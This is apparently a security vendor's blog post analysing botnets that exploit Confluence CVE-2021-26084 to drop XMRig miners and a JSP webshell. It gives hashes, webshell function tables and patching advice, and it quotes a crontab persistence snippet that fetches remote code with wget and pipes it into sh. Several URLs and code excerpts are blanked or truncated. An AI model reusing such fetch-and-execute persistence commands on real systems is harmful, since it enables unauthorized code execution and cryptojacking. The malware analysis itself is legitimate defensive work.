Continued Exploitation of CVE-2021-26084

On August 25, Atlassian publicly released a patch for a critical remote code execution vulnerability in its popular corporate wiki solution Confluence. Just days later, a proof of concept (POC) code demonstrating how to exploit this CVE was published to GitHub. As expected, threat actors rapidly began exploiting publicly facing Confluence servers. As early as September 1, IronNet’s threat hunters observed active exploitation of Confluence servers where cryptocurrency miners and webshells were dropped by what appeared to be multiple distinct threat actors. Similar activity has been observed and documented by other security organizations.


Like Trend Micro [1] noted in a recent blog post, threat actors dropping the cryptominer, z0miner, were quick to jump on this vulnerability and have been observed broadly targeting vulnerable internet facing servers. IronNet observed similar IOCs to what was reported, in some cases exact matches.


Botnets pushing XMRig

IronNet observed what appeared to be a number of different botnets, in some cases pushing the same shell script but always ultimately leading to a XMRig coinminer. This was confirmed by taking the hash of both of the files and searching in VirusTotal:

$ md5sum
$ md5sum

The shell script first tries to disable security processes and protection mechanisms like selinux and apparmor. It will grab its second stage payload via curl or wget if its not available using the below command:

Figure 1: Second stage payload request

IronNet-Blog-Continued Exploitation-Figure 1


  • User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 3 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64
  • URL hxxp://

This returns the XMRig UPX packed executable and saves it with a filename of kworkers.

$ md5sum kworkers
9d294620989e33bb3ed4b3ca7e381cc0  kworkers

We observed a suspected second botnet pushing a different shell script that also eventually drops a XMRig coinminer:


Besides killing security processes, this script also attempts to kill other processes that may indicate cohabitation by other threat actors. After those commands are executed, a simple persistence method via crontab is established and executes shell code downloaded from pastebin every five seconds:

Figure 2: Persistence via Crontab

crontab -l | grep -e "D4EiwzQX" | grep -v grep
if [ $? -eq 0 ]; then
  echo "cron good"
    crontab -r
    crontab -l 2>/dev/null
    echo "*/5 * * * * wget -q hxxps:// -O- | sh"
  ) | crontab -

Finally, the script will pull down four files:


  • config.jsonXMRig config
  • kill.shShell script to kill its processes
  • solr.shShell script to kill off other malware processes running.
  • solrd.exeXMRig coinminer

Lastly, we also observed the Sysrv-Hello Botnet pushing a different shell script that ultimately leads to a XMRig coinminer with a similar operation to what was outlined above. In this case, however, the script sets its C2 in the beginning:


And pulls down the corresponding compatible binary based on the architecture of the system:

Figure 3: Second stage payload request

IronNet-Blog-Continued Exploitation-Figure 3

Surprise surprise, another XMRig UPX packed executable:

$ md5sum sys.x86_64
b0ecaadb4da7c861f3400c6b03ed481b  sys.x86_64

Notably, this shell script contains a lateral movement component that leverages the host's SSH config to spread. This type of SSH worming capability is fairly standard and can be found in many commodity malware samples.

Figure 4: Lateral Movement component

IronNet-Blog-Continued Exploitation-Figure 4


The webshell used in this attack was a .jsp file, or Jakarta Server Pages, which allows developers to dynamically generate HTML web pages in Java. This makes sense since Confluence is based in Java, making the execution of .jsp files possible without having to add any further software to the server. After searching Google for some of the unique-looking strings and comments, it is fairly easy to find example source code on GitHub. The webshell observed by IronNet hunters is largely the same as the webshells found below, with small variations like an updated password for authentication among other minor changes. An interesting change we did observe was that the original webshell contains bug links that lead to shack2[.]org, most likely added by the developers of the original shell as this appears to be their group name, and in this case the threat actors have replaced those links with links to a website hosting adult content.

Webshell functionality:

Below is a breakdown of the functionality of this webshell along with a brief description of the notable functions. Interestingly, some of the functions have no functionality. Referencing the suspected developers GitHub page, it appears as if some of the modules for the missing functionality are present: Functions can be omitted in malware for a variety of reasons, but in this case, the threat actor may have only needed limited functionality and wanted to ensure the webshell payload was lightweight.

Function Name

Function Description



Displays information about the environment



File manager ability to add / delete / download files



Ability to pass bash commands on the server

Database Management


Placeholder function / No functionality

Port Scan


Placeholder function / No functionality

Brute Force


Placeholder function / No functionality

Rebound Control


Placeholder function / No functionality

Remote File Download


Placeholder function / No functionality

Remote Control


Placeholder function / No functionality



Links to adult content website



Links to adult content website

Bug Feedback


Links to adult content website



Placeholder function / No functionality


This exact version of the webshell is relatively new and was first submitted to VirusTotal on 9/8/2021 and interestingly appears to have been submitted out of Hong Kong via a web browser. The webshell was also detected by 2 YARA rules from Florian Roth’s THOR APT Scanner.

MD5: 25ee4001eb4e91f7ea0bc5d07f2a9744
SHA256: fcb1ee9c2c0ee0c8afd4324e5958a203481ea201ff1fb573de6e6d6a9e0752da


IronNet-Blog-Continued Exploitation-Five security vendors

IronNet-Blog-Continued Exploitation-Local host


The techniques and malware used in these attacks are nothing new or particularly sophisticated; however, this activity is thought-provoking nonetheless. Firstly, this case exemplifies a trend that has been going on for years. Specifically, threat actors - including botnet developers/controllers - are rapidly integrating exploits for known CVEs into their spreading capabilities. Multiple times this year alone, defenders have had a few days (at best) between when a vulnerability is made public and when a POC is made available on GitHub and integrated into botnet and APT toolkits alike. This only further highlights the need for prompt patching programs by administrators, especially for internet-facing servers. An additional trend that has been observed throughout 2021 is a shift away from compromising individual users as a means of access for threats and a renewed focus on server exploitation. This is an obvious example of that shift in tactics.

Although the activity observed by IronNet was largely limited to automated exploitation by botnets with what appeared to be financial motivations, we have strong confidence that this exploit is being used by more sophisticated threat actors with intelligence collection in mind. Given the nature of Confluence servers and the type of detailed, sensitive documentation that is commonly stored on them, this is exactly the type of exploit that an APT would leverage.



About Ironnet
IronNet is dedicated to delivering the power of collective cybersecurity to defend companies, sectors, and nations. By uniting advanced technology with a team of experienced professionals, IronNet is committed to providing peace of mind in the digital world.